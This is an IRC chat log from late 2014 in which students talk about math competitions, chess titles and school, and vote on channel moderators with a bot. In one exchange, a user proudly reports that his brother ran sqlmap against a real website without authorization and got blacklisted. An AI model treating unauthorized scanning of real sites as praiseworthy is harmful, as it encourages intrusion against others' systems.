[2014-11-25T16:15:46-0500] <+Tamini> and literally
[2014-11-25T16:15:46-0500] <venividivici42> like how people go places to play football
[2014-11-25T16:15:55-0500] <venividivici42> there's still a school but nobody cares
[2014-11-25T16:15:56-0500] <+Tamini> you are the definition of well qualified for MIT
[2014-11-25T16:16:06-0500] <+Tamini> whatever you do, you get nationally ranked at
[2014-11-25T16:16:07-0500] <venividivici42> @tamini: some state schools
[2014-11-25T16:16:10-0500] <+Tamini> smh, homeschooled kids
[2014-11-25T16:16:14-0500] <JacobEdelman> (cough cough Ernest cough cough)
[2014-11-25T16:16:24-0500] <+Tamini> with all their opportunities to do cool stuffs :(
[2014-11-25T16:16:30-0500] <venividivici42> andrew he is like the epitomy of that
[2014-11-25T16:16:38-0500] <venividivici42> he's never taken an olympiad that he didn't win
[2014-11-25T16:16:44-0500] <JacobEdelman> who?
[2014-11-25T16:16:44-0500] <venividivici42> and he's taken >=4 olympiads
[2014-11-25T16:16:47-0500] <venividivici42> andrew he
[2014-11-25T16:17:15-0500] <venividivici42> and of course eric schneider who made like 5 international olympiads lol
[2014-11-25T16:17:17-0500] <JacobEdelman> oh wow
[2014-11-25T16:17:22-0500] <JacobEdelman> I looked him
[2014-11-25T16:17:24-0500] <JacobEdelman> up
[2014-11-25T16:17:27-0500] <JacobEdelman> 2nd result
[2014-11-25T16:17:28-0500] <JacobEdelman> http://www.elestoque.org/2013/02/19/news/sophomore-andrew-wins-grand-prize-santa-clara-university-high-school-mathematics-competition/
[2014-11-25T16:17:48-0500] <+Tamini> lolol
[2014-11-25T16:17:55-0500] <+Tamini> but so are you katz
[2014-11-25T16:17:57-0500] <venividivici42> lol
[2014-11-25T16:18:01-0500] <+Tamini> I didn't realize
[2014-11-25T16:18:11-0500] <+Tamini> the magnitude of your godliness until pumac
[2014-11-25T16:18:21-0500] <+Tamini> also columbia math tournament wtf
[2014-11-25T16:18:25-0500] <+Tamini> that problem quality >.>
[2014-11-25T16:18:36-0500] <venividivici42> i wasn't there
[2014-11-25T16:18:43-0500] <venividivici42> busy with chess lol
[2014-11-25T16:18:54-0500] <JacobEdelman> your a grand master, right?
[2014-11-25T16:19:08-0500] <venividivici42> i wish
[2014-11-25T16:19:14-0500] <venividivici42> international master
[2014-11-25T16:19:17-0500] <venividivici42> it's the step below grandmaster
[2014-11-25T16:19:20-0500] <JacobEdelman> oh
[2014-11-25T16:19:26-0500] <JacobEdelman> go the order confused
[2014-11-25T16:19:31-0500] <+Tamini> lolol
[2014-11-25T16:19:33-0500] <JacobEdelman> eta to grandmaster?
[2014-11-25T16:19:35-0500] <venividivici42> lol people do that all the time
[2014-11-25T16:19:38-0500] <venividivici42> uh
[2014-11-25T16:19:43-0500] <JacobEdelman> (5 minutes)
[2014-11-25T16:19:45-0500] <venividivici42> honestly probably infinite
[2014-11-25T16:19:47-0500] <JacobEdelman> (thats my guess)
[2014-11-25T16:19:49-0500] <JacobEdelman> really?
[2014-11-25T16:19:58-0500] <venividivici42> yeah
[2014-11-25T16:20:01-0500] <+Tamini> haven't you won cmt before tho
[2014-11-25T16:20:05-0500] <venividivici42> but it depends on like
[2014-11-25T16:20:06-0500] <+Tamini> and aww why
[2014-11-25T16:20:09-0500] <JacobEdelman> you got international master when you were what, 18? you have a long time to get grand
[2014-11-25T16:20:13-0500] <venividivici42> whether i continue chess
[2014-11-25T16:20:16-0500] <+Tamini> wait wasn't he 17
[2014-11-25T16:20:18-0500] <JacobEdelman> ahhhh
[2014-11-25T16:20:18-0500] <+Tamini> ah, true
[2014-11-25T16:20:21-0500] <venividivici42> ok like 17.8
[2014-11-25T16:20:22-0500] <+Tamini> don't you like it?
[2014-11-25T16:20:28-0500] <venividivici42> no i hate chess
[2014-11-25T16:20:30-0500] <venividivici42> it's horrile
[2014-11-25T16:20:31-0500] <venividivici42> i never liked it
[2014-11-25T16:20:40-0500] <venividivici42> chess should burn
[2014-11-25T16:20:41-0500] <+Tamini> can i like find you in chess magazines katz
[2014-11-25T16:20:44-0500] <+Tamini> and seriously
[2014-11-25T16:20:46-0500] <+Tamini> -___-
[2014-11-25T16:20:47-0500] <venividivici42> uh probably
[2014-11-25T16:20:53-0500] <venividivici42> lol yes i was totally serious
[2014-11-25T16:21:02-0500] <venividivici42> but idk we'll see
[2014-11-25T16:21:06-0500] <venividivici42> college chess is sort of nonexistent
[2014-11-25T16:21:24-0500] <venividivici42> but hopefully i'll get gm at some point :)
[2014-11-25T16:21:31-0500] <JacobEdelman> good luck
[2014-11-25T16:21:45-0500] • JacobEdelman: goes to sit in a corner and contemplate how much of an idiot he is
[2014-11-25T16:21:54-0500] <+Tamini> :P
[2014-11-25T16:22:03-0500] <+Tamini> im going to try later
[2014-11-25T16:22:10-0500] <+Tamini> we have chess magazines lying around the syslab
[2014-11-25T16:22:16-0500] <venividivici42> lolwut
[2014-11-25T16:22:20-0500] <JacobEdelman> ....
[2014-11-25T16:22:21-0500] <+Tamini> but alex really
[2014-11-25T16:22:24-0500] <+Tamini> how do i become you
[2014-11-25T16:22:28-0500] <JacobEdelman> WHY DO YOU HAVE SUCH A NERDY SCHOOL
[2014-11-25T16:22:32-0500] <+Tamini> >_____>
[2014-11-25T16:22:35-0500] <venividivici42> my school is pretty nerdy
[2014-11-25T16:22:36-0500] <venividivici42> just saying
[2014-11-25T16:22:39-0500] <JacobEdelman> TAMINI I WILLDSKSDHKJSDIHDS
[2014-11-25T16:22:40-0500] <+Tamini> LOL
[2014-11-25T16:22:43-0500] <JacobEdelman> (thats my reaction)
[2014-11-25T16:22:46-0500] <+Tamini> it annoys me
[2014-11-25T16:22:50-0500] <+Tamini> BCA is so much easier to cheer
[2014-11-25T16:22:53-0500] <+Tamini> than tj
[2014-11-25T16:22:55-0500] <+Tamini> or tjhsst
[2014-11-25T16:23:03-0500] <JacobEdelman> AHHHHHHHHHHHHHHHHHHHHH
[2014-11-25T16:23:13-0500] <venividivici42> "let's go t j, let's go *clap clap clap*"
[2014-11-25T16:23:15-0500] <venividivici42> problem solved
[2014-11-25T16:24:04-0500] <JacobEdelman> I go to an ordinary, public, school where the internet is broken and the tech teachers accidentally email the entire schools database of emails instead of just the parents of kids in one class
[2014-11-25T16:24:13-0500] <JacobEdelman> (hence me getting an email about 5th grade type hw)
[2014-11-25T16:24:21-0500] <venividivici42> op
[2014-11-25T16:24:45-0500] <venividivici42> but you get to be brilliant in spite of that
[2014-11-25T16:24:50-0500] <venividivici42> hence you win
[2014-11-25T16:24:56-0500] <+Tamini> but BCA, BCA, BCA
[2014-11-25T16:25:00-0500] <+Tamini> Sounds better
[2014-11-25T16:25:11-0500] <+Tamini> and lol JacobEdelman
[2014-11-25T16:25:15-0500] <+Tamini> princeton college town pls
[2014-11-25T16:25:21-0500] <JacobEdelman> I havve wwphsn, try chanting that
[2014-11-25T16:25:30-0500] <JacobEdelman> (note, I don't want to chant it so it doesn't really matter)
[2014-11-25T16:25:33-0500] <venividivici42> lol
[2014-11-25T16:25:45-0500] <JacobEdelman> (not princeotn college town, neighboring to the college town)
[2014-11-25T16:26:01-0500] <JacobEdelman> (the princeton college town is, *SHOCKER*, princeton)
[2014-11-25T16:26:15-0500] <+Tamini> Lol
[2014-11-25T16:26:27-0500] <+Tamini> alok and i got a bit lost on the way back btw
[2014-11-25T16:26:33-0500] <+Tamini> and venividivici42 you guys are too cool
[2014-11-25T16:26:41-0500] <+Tamini> you guys had geohot and stuff wtf
[2014-11-25T16:26:47-0500] <JacobEdelman> I heard, serves you right for missing Scott Aaronson talk
[2014-11-25T16:27:00-0500] <JacobEdelman> venividivici42: my brother and I watched Scott Aaronson talk
[2014-11-25T16:27:01-0500] <venividivici42> what's geohot
[2014-11-25T16:27:14-0500] <JacobEdelman> he jail broke iphone a few times
[2014-11-25T16:27:17-0500] <JacobEdelman> and was sued by sony
[2014-11-25T16:27:24-0500] <venividivici42> i've heard of him lol
[2014-11-25T16:27:26-0500] <venividivici42> what was he talking about
[2014-11-25T16:27:28-0500] <JacobEdelman> for jailbreaking the play station of whatever
[2014-11-25T16:27:34-0500] <JacobEdelman> who?
[2014-11-25T16:27:39-0500] <venividivici42> aaronson
[2014-11-25T16:27:49-0500] <+Tamini> physics and ca
[2014-11-25T16:27:51-0500] <JacobEdelman> ahh, he was talking about the physical limits of computation
[2014-11-25T16:27:51-0500] <+Tamini> cs*
[2014-11-25T16:27:55-0500] <JacobEdelman> we stayed afterward
[2014-11-25T16:27:58-0500] <JacobEdelman> and talked to him
[2014-11-25T16:27:59-0500] <+Tamini> well I mean
[2014-11-25T16:28:04-0500] <JacobEdelman> until it was just my brother, him, and I
[2014-11-25T16:28:06-0500] <+Tamini> it's not like i was going to skip awards
[2014-11-25T16:28:10-0500] <+Tamini> considering tj won stuff
[2014-11-25T16:28:12-0500] <+Tamini> :P
[2014-11-25T16:28:12-0500] <JacobEdelman> in an emtpy theatre
[2014-11-25T16:28:18-0500] <JacobEdelman> talking physics/cs/math
[2014-11-25T16:28:19-0500] <+Tamini> heh
[2014-11-25T16:28:21-0500] <JacobEdelman> it was amazing
[2014-11-25T16:28:22-0500] <+Tamini> i sat next to him
[2014-11-25T16:28:27-0500] <+Tamini> does that count
[2014-11-25T16:28:30-0500] <JacobEdelman> nope
[2014-11-25T16:28:33-0500] <JacobEdelman> no where near
[2014-11-25T16:28:46-0500] <venividivici42> lol
[2014-11-25T16:29:27-0500] <+Tamini> heh
[2014-11-25T16:29:31-0500] <+Tamini> it was fun
[2014-11-25T16:29:44-0500] <+Tamini> gosh if you weren't bca captain and a slacker and actually said hi to me
[2014-11-25T16:29:47-0500] <+Tamini> you could've also come
[2014-11-25T16:29:58-0500] <venividivici42> i was taking finals...
[2014-11-25T16:30:05-0500] <venividivici42> like the tiebreaker
[2014-11-25T16:30:07-0500] <venividivici42> not finals
[2014-11-25T16:30:17-0500] <JacobEdelman> tiebreakers are for wimps
[2014-11-25T16:30:24-0500] <venividivici42> i've taken tiebreakers for 3 years
[2014-11-25T16:30:30-0500] <venividivici42> the sum of my scores on those 3 years is 0
[2014-11-25T16:30:30-0500] <venividivici42> oops
[2014-11-25T16:30:47-0500] <JacobEdelman> the really smart people purposelly fail the individuals so as to make sure they can go to see scott aaronson talk
[2014-11-25T16:30:54-0500] <venividivici42> lol
[2014-11-25T16:30:56-0500] <@awe> [16:11:21]  <JacobEdelman>	okay, I;lll agree with the second
[2014-11-25T16:30:58-0500] <@awe> JacobEdelman: >.>
[2014-11-25T16:31:05-0500] <+Tamini> LOL wait wtf
[2014-11-25T16:31:10-0500] <venividivici42> lol
[2014-11-25T16:31:12-0500] <+Tamini> literally since
[2014-11-25T16:31:13-0500] <JacobEdelman> (that was something from a bit ago)
[2014-11-25T16:31:14-0500] <+Tamini> sophomore year
[2014-11-25T16:31:27-0500] <+Tamini> i didnt even qualify for pumac then holy shit
[2014-11-25T16:31:31-0500] <+Tamini> HOW ARE YOU REAL
[2014-11-25T16:31:32-0500] <+Tamini> >,<
[2014-11-25T16:31:51-0500] <@awe> JacobEdelman: Believing his point is in essence deny all the context surrounding this discussion.
[2014-11-25T16:31:51-0500] <+Tamini> brb dropping out of tj and getting homeschooled instead
[2014-11-25T16:31:51-0500] <venividivici42> huh
[2014-11-25T16:32:21-0500] <+Tamini> you're so good at this
[2014-11-25T16:32:23-0500] <+Tamini> how what why
[2014-11-25T16:32:35-0500] <+Tamini> damn, you should've made mosp last year
[2014-11-25T16:32:42-0500] <JacobEdelman> awe: what, no. I just assume my opinion would be between yours and a moderate opinion
[2014-11-25T16:32:45-0500] <venividivici42> last year's mosp was weird
[2014-11-25T16:32:47-0500] <JacobEdelman> hense venividivici42s
[2014-11-25T16:32:52-0500] <@awe> JacobEdelman: His opinion isn't moderate.
[2014-11-25T16:32:58-0500] <JacobEdelman> no
[2014-11-25T16:33:01-0500] <JacobEdelman> the first one was
[2014-11-25T16:33:12-0500] <@awe> No, the first one isn't a moderate opinion either.
[2014-11-25T16:33:15-0500] <venividivici42> they started inviting people
[2014-11-25T16:33:18-0500] <@awe> They're both completely denying that racism is a thing.
[2014-11-25T16:33:19-0500] <venividivici42> that scored below me
[2014-11-25T16:33:20-0500] <venividivici42> i was like uh
[2014-11-25T16:33:43-0500] <@awe> They both pretend that somehow our legal system isn't racist and somehow police aren't committing police brutality.
[2014-11-25T16:33:47-0500] <@awe> We know that police brutality happens.
[2014-11-25T16:33:49-0500] <JacobEdelman> I got my sats back
[2014-11-25T16:33:51-0500] <@awe> We know that police are never held accountable for it.
[2014-11-25T16:33:57-0500] <@awe> Well, rarely.
[2014-11-25T16:34:03-0500] <@awe> Not never, but damn near close.
[2014-11-25T16:34:16-0500] <+Tamini> venividivici42: it was bs
[2014-11-25T16:34:23-0500] <+Tamini> because they invited people from past years
[2014-11-25T16:34:27-0500] <venividivici42> yeah
[2014-11-25T16:34:29-0500] <+Tamini> even if they got screwed
[2014-11-25T16:34:31-0500] <venividivici42> which was very odd
[2014-11-25T16:34:35-0500] <@awe> It shouldn't be a radical opinion to say that police accountability must exist.
[2014-11-25T16:34:35-0500] <venividivici42> but oh well
[2014-11-25T16:34:36-0500] <+Tamini> because evan chen amirite
[2014-11-25T16:34:43-0500] <venividivici42> lol ikr
[2014-11-25T16:34:54-0500] <+Tamini> how do you even tho
[2014-11-25T16:34:55-0500] <+Tamini> LOL
[2014-11-25T16:35:11-0500] <+Tamini> "oh i failed usamo? ill just go to taiwan and WRECK FACE"
[2014-11-25T16:35:25-0500] <JacobEdelman> I so proud of my little brother
[2014-11-25T16:35:44-0500] <JacobEdelman> our ip is now black listed from the NJFPS
[2014-11-25T16:35:48-0500] <JacobEdelman> site
[2014-11-25T16:35:49-0500] <venividivici42> omg
[2014-11-25T16:35:51-0500] <JacobEdelman> :)
[2014-11-25T16:36:18-0500] <JacobEdelman> (he tried too use sqlmap on them)
[2014-11-25T16:37:06-0500] <venividivici42> omg
[2014-11-25T16:37:24-0500] <+Tamini> lolol oh god
[2014-11-25T16:37:31-0500] <JacobEdelman> I'm so proud
[2014-11-25T16:37:40-0500] <+Tamini> thats amazing
[2014-11-25T16:37:41-0500] <+Tamini> LOL
[2014-11-25T16:37:58-0500] • JacobEdelman: wipes a tear of happiness from his eye
[2014-11-25T16:42:25-0500] <+Tamini> ezra right
[2014-11-25T16:42:26-0500] <+Tamini> lol
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[2014-11-25T16:43:55-0500] <+Tamini> also guys
[2014-11-25T16:44:10-0500] <+Tamini> are all of us out of school for the week?
[2014-11-25T16:44:10-0500] <+hardmath123> hi
[2014-11-25T16:44:15-0500] <+Tamini> eyo
[2014-11-25T16:44:18-0500] <@awe> I'm done with school today.
[2014-11-25T16:44:22-0500] <@awe> I'm driving down to New Jersey.
[2014-11-25T16:44:30-0500] <+Tamini> ooh yay
[2014-11-25T16:44:31-0500] <@awe> If JacobEdelman has school tomorrow, I might show up.
[2014-11-25T16:44:49-0500] <@awe> I don't think they do though?
[2014-11-25T16:44:50-0500] <@awe> I'm not sure.
[2014-11-25T16:45:02-0500] <JacobEdelman> we do
[2014-11-25T16:45:04-0500] <JacobEdelman> half day
[2014-11-25T16:45:06-0500] <JacobEdelman> show up
[2014-11-25T16:45:07-0500] <JacobEdelman> also
[2014-11-25T16:45:07-0500] <@awe> Oh, okay.
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[2014-11-25T23:33:47-0500] <@LittleBobbyTables> You called me greasy :(
[2014-11-25T23:35:31-0500] <+Tamini> well still
[2014-11-25T23:35:36-0500] <+Tamini> thats t-
[2014-11-25T23:35:37-0500] <+Tamini> i mean
[2014-11-25T23:35:38-0500] <+Tamini> <3
[2014-11-25T23:35:58-0500] <+alokpathy> Tamini: Smooth and subtle as always
[2014-11-25T23:36:21-0500] <@LittleBobbyTables> jk
[2014-11-25T23:36:22-0500] <+alokpathy> :|
[2014-11-25T23:36:24-0500] <@LittleBobbyTables> idk how to op
[2014-11-25T23:36:33-0500] <+alokpathy> Who do you want to op?
[2014-11-25T23:36:41-0500] <+alokpathy> Wow censorship
[2014-11-25T23:36:57-0500] <+alokpathy> If I was owner I wouldn't permit this.
[2014-11-25T23:37:18-0500] <@LittleBobbyTables> what censorship?
[2014-11-25T23:38:51-0500] <+Tamini> lolol
[2014-11-25T23:54:38-0500] <failedxyz> hei
[2014-11-25T23:59:40-0500] <+alokpathy> failedxyz: hei
[2014-11-26T00:02:20-0500] <+Tamini> ei
[2014-11-26T00:02:26-0500] <+Tamini> alokpathy: how's your thing going
[2014-11-26T00:02:36-0500] <+alokpathy> Tamini: What thing?
[2014-11-26T00:02:45-0500] <+alokpathy> Oh, that
[2014-11-26T00:02:45-0500] <+Tamini> uhh
[2014-11-26T00:02:47-0500] <+Tamini> that thing
[2014-11-26T00:02:54-0500] <+alokpathy> Yeah I stopped for the day
[2014-11-26T00:02:56-0500] <+alokpathy> 'cause hw
[2014-11-26T00:03:39-0500] <+alokpathy> I also spent a while fixing my gitconfig (ty hardmath
[2014-11-26T00:03:44-0500] <+alokpathy> and benwaffle)
[2014-11-26T00:05:23-0500] <+Tamini> ah
[2014-11-26T00:05:28-0500] <+Tamini> you have school tomorrow right
[2014-11-26T00:05:32-0500] <+Tamini> *points and laughs*
[2014-11-26T00:05:34-0500] <+Tamini> i mean
[2014-11-26T00:06:08-0500] <+sdamashek> lol school tomorrow
[2014-11-26T00:09:14-0500] <failedxyz> i have school tomorrow too D:
[2014-11-26T00:11:33-0500] <@LittleBobbyTables> Ha
[2014-11-26T00:11:40-0500] <@LittleBobbyTables> I'm getting paid for doing nothing
[2014-11-26T00:14:21-0500] <+alokpathy> Tamini: Half day
[2014-11-26T00:14:24-0500] <+alokpathy> but yeah
[2014-11-26T00:17:38-0500] <failedxyz> anyone want to help me finish english vocab assignment
[2014-11-26T00:35:37-0500] <+Tamini> alokpathy: half days are chill tho
[2014-11-26T00:35:42-0500] <+Tamini> dont you not do anything
[2014-11-26T00:37:01-0500] <@LittleBobbyTables> failedxyz: are you paying
[2014-11-26T00:37:10-0500] <failedxyz> paying for what
[2014-11-26T00:37:11-0500] <failedxyz> oh
[2014-11-26T00:37:14-0500] <failedxyz> the hw?
[2014-11-26T00:37:17-0500] <failedxyz> nah i'm fine
[2014-11-26T00:37:18-0500] <failedxyz> i'm almost done
[2014-11-26T00:37:48-0500] <@LittleBobbyTables> I was kidding anyway, wasn't gonna do it
[2014-11-26T00:39:46-0500] <failedxyz> ok
[2014-11-26T00:52:42-0500] <@LittleBobbyTables> It's easy to fake poeticness if thy sentence doth no fucking sense make
[2014-11-26T00:53:59-0500] <failedxyz> cool
[2014-11-26T00:54:12-0500] <@LittleBobbyTables> yep
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[2014-11-26T01:03:10-0500] <benwaffle> oh
[2014-11-26T01:05:10-0500] <@awe> I'm in New Jersey now.
[2014-11-26T01:05:13-0500] <@awe> It took seven hours.
[2014-11-26T01:05:31-0500] <@LittleBobbyTables> Wrong side of the country, bro
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[2014-11-26T15:54:15-0500] Topic is Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services. | Democracy RFC: https://gist.github.com/aaronweiss74/ff945955cabd26e2a2be
[2014-11-26T15:54:15-0500] Set by Pidgey on November 23, 2014 at 4:10:59 PM EST
[2014-11-26T13:40:55-0500] <&Pidgey> Proposal (0) to oper alokpathy.
[2014-11-26T13:41:00-0500] <+alokpathy> c'mon guys
[2014-11-26T13:41:06-0500] <+alokpathy> vote yes for proposal 11
[2014-11-26T13:41:21-0500] <+alokpathy> hardmath123: You voted for me to be channel owner, right?
[2014-11-26T13:41:27-0500] <hardmath123> alokpathy: i dunno
[2014-11-26T13:41:29-0500] <hardmath123> .active
[2014-11-26T13:41:29-0500] <&Pidgey> Proposal (5) to kick Pidgey.
[2014-11-26T13:41:29-0500] <&Pidgey> Proposal (2) to oper alokpathy.
[2014-11-26T13:41:29-0500] <&Pidgey> Proposal (3) to oper Hcnsh.
[2014-11-26T13:41:29-0500] <&Pidgey> Proposal (6) to change the topic to something.
[2014-11-26T13:41:29-0500] <&Pidgey> Proposal (7) to kick hardmath123.
[2014-11-26T13:41:29-0500] <&Pidgey> Proposal (10) to oper The_Master.
[2014-11-26T13:41:29-0500] <&Pidgey> Proposal (11) to change the owner to alokpathy.
[2014-11-26T13:41:29-0500] <&Pidgey> Proposal (4) to oper Tamini.
[2014-11-26T13:41:29-0500] <&Pidgey> Proposal (9) to oper jacobedelman.
[2014-11-26T13:41:29-0500] <&Pidgey> Proposal (0) to oper alokpathy.
[2014-11-26T13:41:37-0500] <hardmath123> .vote 2 yea
[2014-11-26T13:41:37-0500] <&Pidgey> You've already voted in that proposal.
[2014-11-26T13:41:42-0500] <hardmath123> probably
[2014-11-26T13:41:42-0500] <+alokpathy> It's 11
[2014-11-26T13:42:09-0500] <+alokpathy> not proposal 2.
[2014-11-26T13:42:19-0500] <hardmath123> .vote 11 yea
[2014-11-26T13:42:19-0500] <&Pidgey> You've already voted in that proposal.
[2014-11-26T13:42:21-0500] <hardmath123> ...
[2014-11-26T13:42:24-0500] <+alokpathy> Darn
[2014-11-26T13:42:31-0500] <+alokpathy> I think I need like
[2014-11-26T13:42:34-0500] <+alokpathy> one more vote
[2014-11-26T13:42:50-0500] <hardmath123> ha
[2014-11-26T13:43:06-0500] <hardmath123> Pidgey should display stats
[2014-11-26T13:43:31-0500] <+alokpathy> awe: How many more votes does proposal 11 need to pass?
[2014-11-26T13:47:52-0500] <hardmath123> i spent the past hour making a very annoying art project with my sister :(
[2014-11-26T13:48:07-0500] <+alokpathy> What'd you guys make?
[2014-11-26T13:49:32-0500] <hardmath123> a mess
[2014-11-26T13:49:43-0500] <hardmath123> partly because the instructions were in Chinese
[2014-11-26T13:56:14-0500] <+alokpathy> Oh oops
[2014-11-26T14:25:26-0500] <Tamini> alokpathy: yo dude
[2014-11-26T14:28:10-0500] <+alokpathy> hai
[2014-11-26T14:43:26-0500] <Tamini> r we
[2014-11-26T14:43:31-0500] <Tamini> doing that thing
[2014-11-26T14:43:39-0500] <Tamini> (after i turn in some hw ofc)
[2014-11-26T14:49:19-0500] <+alokpathy> You mean arch?
[2014-11-26T14:50:28-0500] <Tamini> ye
[2014-11-26T14:51:17-0500] <+alokpathy> Errr could we wait until after I apply? .-.
[2014-11-26T14:51:23-0500] <+alokpathy> to like
[2014-11-26T14:51:24-0500] <+alokpathy> everywhere
[2014-11-26T14:51:36-0500] <+alokpathy> I kinda need this for that
[2014-11-26T14:51:41-0500] <Tamini> LOL
[2014-11-26T14:51:46-0500] <Tamini> when would that be? :P
[2014-11-26T14:52:06-0500] <+alokpathy> New year :P
[2014-11-26T14:53:35-0500] <Tamini> jesus christ apothy LOL
[2014-11-26T15:54:16-0500] Mode is +nt
[2014-11-26T15:54:49-0500] Kent (tnek@pdgn-eho.5nk.qmba05.IP) joined the channel
[2014-11-26T15:55:32-0500] <@awe> .vote 0 nay
[2014-11-26T15:55:32-0500] <&Pidgey> You've already voted in that proposal.
[2014-11-26T15:55:37-0500] <@awe> .vote 2 nay
[2014-11-26T15:55:37-0500] <&Pidgey> Vote issued.
[2014-11-26T15:55:39-0500] <@awe> .vote 3 nay
[2014-11-26T15:55:39-0500] <&Pidgey> Vote issued.
[2014-11-26T15:55:42-0500] <@awe> .vote 6 nay
[2014-11-26T15:55:42-0500] <&Pidgey> Vote issued.
[2014-11-26T15:55:42-0500] Pidgey changed the topic to something
[2014-11-26T15:55:42-0500] <&Pidgey> Enacted proposal to change the topic to something.
[2014-11-26T15:55:49-0500] <@awe> .-.
[2014-11-26T15:55:56-0500] <Tamini> awe wat ru doin
[2014-11-26T15:55:59-0500] <@awe> .vote 7 nay
[2014-11-26T15:55:59-0500] <&Pidgey> Vote issued.
[2014-11-26T15:55:59-0500] <&Pidgey> Enacted proposal to kick hardmath123.
[2014-11-26T15:56:01-0500] <@awe> .vote 10 nay
[2014-11-26T15:56:01-0500] <&Pidgey> Vote issued.
[2014-11-26T15:56:02-0500] <@awe> .vote 11 nay
[2014-11-26T15:56:02-0500] <&Pidgey> Vote issued.
[2014-11-26T15:56:05-0500] <@awe> .vote 9 nay
[2014-11-26T15:56:05-0500] <&Pidgey> Vote issued.
[2014-11-26T15:56:12-0500] <@awe> .active
[2014-11-26T15:56:12-0500] <&Pidgey> Proposal (5) to kick Pidgey.
[2014-11-26T15:56:12-0500] <&Pidgey> Proposal (2) to oper alokpathy.
[2014-11-26T15:56:12-0500] <&Pidgey> Proposal (3) to oper Hcnsh.
[2014-11-26T15:56:12-0500] <&Pidgey> Proposal (10) to oper The_Master.
[2014-11-26T15:56:12-0500] <&Pidgey> Proposal (11) to change the owner to alokpathy.
[2014-11-26T15:56:12-0500] <&Pidgey> Proposal (4) to oper Tamini.
[2014-11-26T15:56:12-0500] <&Pidgey> Proposal (9) to oper jacobedelman.
[2014-11-26T15:56:12-0500] <&Pidgey> Proposal (0) to oper alokpathy.
[2014-11-26T15:56:16-0500] <@awe> .vote 4 nay
[2014-11-26T15:56:17-0500] <&Pidgey> Vote issued.
[2014-11-26T15:56:31-0500] <@awe> Tamini: Voting nay on all the trash.
[2014-11-26T15:56:36-0500] <+alokpathy> awe: :(
[2014-11-26T15:56:49-0500] <Tamini> y awe
[2014-11-26T15:57:06-0500] <Tamini> y u oppose rule for all
[2014-11-26T15:57:08-0500] <+alokpathy> But I'd be a great owner....
[2014-11-26T15:57:29-0500] <+alokpathy> awe: What's the list of voiced people?
[2014-11-26T15:59:11-0500] <@awe> "voice":["LittleBobbyTables","awe","Hcnsh","hardmath123","Hcnsh","Tamini","sdamashek","alokpathy"]
[2014-11-26T15:59:24-0500] awe changed the topic to Pidgey now has a small assortment of features. | Pidgey on GitHub: https://github.com/aaronweiss74/irc-services.
[2014-11-26T15:59:34-0500] <Tamini> .active
[2014-11-26T15:59:34-0500] <&Pidgey> Proposal (5) to kick Pidgey.
[2014-11-26T15:59:34-0500] <&Pidgey> Proposal (2) to oper alokpathy.
[2014-11-26T15:59:34-0500] <&Pidgey> Proposal (3) to oper Hcnsh.
[2014-11-26T15:59:34-0500] <&Pidgey> Proposal (10) to oper The_Master.
[2014-11-26T15:59:34-0500] <&Pidgey> Proposal (11) to change the owner to alokpathy.
[2014-11-26T15:59:34-0500] <&Pidgey> Proposal (4) to oper Tamini.
[2014-11-26T15:59:34-0500] <&Pidgey> Proposal (9) to oper jacobedelman.
[2014-11-26T15:59:34-0500] <&Pidgey> Proposal (0) to oper alokpathy.
[2014-11-26T15:59:43-0500] <Tamini> .vote 5 nay
[2014-11-26T15:59:43-0500] <&Pidgey> You've already voted in that proposal.
[2014-11-26T15:59:50-0500] <Tamini> .vote 2 yea
[2014-11-26T15:59:50-0500] <&Pidgey> Vote issued.
[2014-11-26T15:59:54-0500] <+alokpathy> Wait, for proposal 11
[2014-11-26T15:59:57-0500] <Tamini> .vote 3 nay
[2014-11-26T15:59:57-0500] <&Pidgey> You've already voted in that proposal.
[2014-11-26T16:00:00-0500] <@awe> Proposal 5 wouldn't even do anything.
[2014-11-26T16:00:01-0500] <@awe> He won
[2014-11-26T16:00:04-0500] <@awe> He won't kick himself.
[2014-11-26T16:00:11-0500] <Tamini> .vote 10 nay
[2014-11-26T16:00:11-0500] <&Pidgey> Vote issued.
[2014-11-26T16:00:21-0500] <Tamini> .vote 11 nay
[2014-11-26T16:00:21-0500] <&Pidgey> You've already voted in that proposal.
[2014-11-26T16:00:24-0500] <+alokpathy> Wait so everybody has to vote for it to go through?
[2014-11-26T16:00:29-0500] <@awe> No.
[2014-11-26T16:00:31-0500] <Tamini> .vote 9 nay
[2014-11-26T16:00:31-0500] <&Pidgey> Vote issued.
[2014-11-26T16:00:37-0500] <Tamini> .vote 0 nay
[2014-11-26T16:00:37-0500] <&Pidgey> Vote issued.
[2014-11-26T16:00:57-0500] <+alokpathy> awe: As in like, even if > 40% have voted yes, it still waits for everybody's vote?
[2014-11-26T16:01:02-0500] <@awe> No.
[2014-11-26T16:01:08-0500] <+alokpathy> 'cause everybody in that list voted on proposal 11 except hardmath I think.
[2014-11-26T16:01:19-0500] <+alokpathy> and they all voted for it.
[2014-11-26T16:01:37-0500] <+alokpathy> Is there a way to see the vote count so far?
[2014-11-26T16:01:41-0500] <@awe> No.
[2014-11-26T16:02:14-0500] <+alokpathy> Darn
[2014-11-26T16:02:16-0500] <+alokpathy> now I'm confused
[2014-11-26T16:02:25-0500] <ubuntor> add the count to .active?
[2014-11-26T16:12:01-0500] <@awe> @ddg hi
[2014-11-26T16:12:04-0500] <@awe> Wait, awebot isn't here.
[2014-11-26T16:12:05-0500] <@awe> Duh.
[2014-11-26T16:14:37-0500] <@awe> alokpathy: https://github.com/aaronweiss74/irc-services/blob/master/src/data/democracy.rs#L76
[2014-11-26T16:16:00-0500] <Tamini> oh huh, Kent is here
[2014-11-26T16:16:40-0500] <Kent> no
[2014-11-26T16:16:52-0500] <Tamini> heyyo
[2014-11-26T16:16:52-0500] <Tamini> :P
[2014-11-26T16:16:59-0500] <@awe> alokpathy: you'd need four yea votes or five nay votes to close the vote.
[2014-11-26T16:17:11-0500] <Tamini> oh, that makes sense
[2014-11-26T16:18:37-0500] <@awe> alokpathy: If everyone except hardmath voted, you have six votes.
[2014-11-26T16:18:41-0500] <@awe> alokpathy: I definitely voted no.
[2014-11-26T16:18:51-0500] <+alokpathy> Tamini:  y u vote no :(
[2014-11-26T16:19:03-0500] <@awe> [16:00:21]  <Tamini>	.vote 11 nay
[2014-11-26T16:19:03-0500] <@awe> [16:00:21]  <&Pidgey>	You've already voted in that proposal.
[2014-11-26T16:19:10-0500] <Tamini> im an anarchist
[2014-11-26T16:19:13-0500] <Tamini> i dont like owners
[2014-11-26T16:19:18-0500] <+alokpathy> awe: Wait does it override your vote?
[2014-11-26T16:19:21-0500] <@awe> No.
